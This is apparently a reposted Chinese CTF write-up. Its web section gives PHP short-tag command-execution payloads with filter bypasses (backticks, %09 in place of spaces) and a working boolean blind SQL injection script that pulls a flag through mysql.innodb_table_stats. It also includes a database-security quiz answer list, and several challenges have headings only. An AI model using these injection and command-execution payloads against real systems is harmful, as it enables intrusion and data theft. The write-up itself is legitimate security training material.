文章目錄
- Web
- write_shell
- happysql
- easytp
- javaweb
- Misc
- 簽到
- InputMonitor
- 我的心是冰冰的
- 歪比歪比
- babytraffic
后續題目知道怎么做了,跟進復現會把wp補上
Web
write_shell

第一步主要考察PHP代碼執行,第一步先寫個phpinfo()看下情況,利用php的一種短標簽可以繞過分號,然后拼接一下繞過php字樣,

/?action=upload&data=<?=(p.hpinfo)()?>
沙盒路徑?action=pwd看一下

看了下disable_functions的值,本來還在想該如何先拿到一個shell,然后繞過disable_functions,隊友突然告訴反引號沒過濾,可以直接寫入并執行命令,試了一下
/?action=upload&data=<?=`whoami`?>

頓時感覺這題可能非預期了,在根目錄下找到flag
/?action=upload&data=<?=`ls%09-la%09/`?>
%09用于繞過空格過濾

直接讀取,注意這里有個php后綴會被過濾,不過在命令執行種用*替換即可
/?action=upload&data=<?=`cat%09/!whatyouwantggggggg401*`?>

happysql
一個login.php,一個register.php,一個home.php

加了個單引號發現有過濾

簡單的fuzz一下黑名單,長度353的都是被過濾的

等號(=)用in或者regexp進行繞過,這里用in,空格用/**/繞過,or可以用||替換
username=mochu"||("1")in("1")#&password=mochu7


很明顯是布爾盲注了
接下來考慮兩個點:
1.截斷函式用哪個?這里mid()和substring()已經被過濾了
2.如何繞過information
截斷函式可以用left()和right(),不過需要注意的是這兩個函式并不能像mid和substring一樣逐個截斷,寫腳本的時候注意下測驗字串的拼接,而繞過information已經是老生常談了,猜測通過查詢mysql.innodb_table_stats得到庫名和表名
from binascii import *
import requests
ascii_str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\]^_`{|}~"
url = 'http://eci-2ze6jljai3r43tjxt13k.cloudeci1.ichunqiu.com/login.php'
headers = {'Host': 'eci-2ze6jljai3r43tjxt13k.cloudeci1.ichunqiu.com/',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Content-Type': 'application/x-www-form-urlencoded'}
text = ''
for i in range(1,50):
for s in ascii_str:
username = '1"||hex(left((select/**/*/**/from/**/ctf.f1ag),{}))in("{}")#'.format(i,hexlify((text+s).encode('utf-8')).decode('utf-8').upper())
payload = {"username": username,"password": "mochu7"}
res = requests.post(url=url,headers=headers,data=payload)
if 'home.php' in res.text:
text += s
print(text)
1"||hex(left(version(),{}))in("{}")#
1"||hex(left((select/**/group_concat(database_name)/**/from/**/mysql.innodb_table_stats),{}))in("{}")#
1"||hex(left((select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/(database_name)in(database())),{}))in("{}")#
1"||hex(left((select/**/*/**/from/**/ctf.f1ag),{}))in("{}")#
查詢到的資訊:
version: 10.4.13-MariaDB
databases: ctf,mysql
Current-database: ctf
ctf's tables: ctf,f1ag

easytp
javaweb
Misc
簽到
一起來參與資料安全知識小競賽,
- 在資料庫系統中,口令保護是資訊系統的第一道屏障,
- 為了防止物理上取走資料庫而采取的加強資料庫安全的方法是資料庫加密,
- 發生介質故障后,磁盤上的物理資料和日志檔案被破壞,這是最嚴重的一種故障,恢復方法是重裝資料庫,然后重做已完成的事務,
- 在資料庫的安全評估程序中,下面那項是指系統能夠對付各種可能的攻擊的能力,可行性
- 資料庫訪問控制策略中,只需策略是只讓用戶得到有相應權限的資訊,這些資訊恰到可以讓用戶完成自己的作業,其他的權利一律不給,
- 資料庫的安全策略是指如何組織、管理、保護和處理敏感資訊的指導思想,它包括安全管理策略、訪問控制策略和資訊控制策略,
- 資料庫的加密方法中,采用庫外加密,則密鑰管理較為簡單,只需借用檔案加密的密鑰管理方法,
- 在下面的加密方法中,哪個加解密的效率最低:元素加密

InputMonitor
我的心是冰冰的
歪比歪比
babytraffic
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/272177.html
標籤:其他
下一篇:越權漏洞
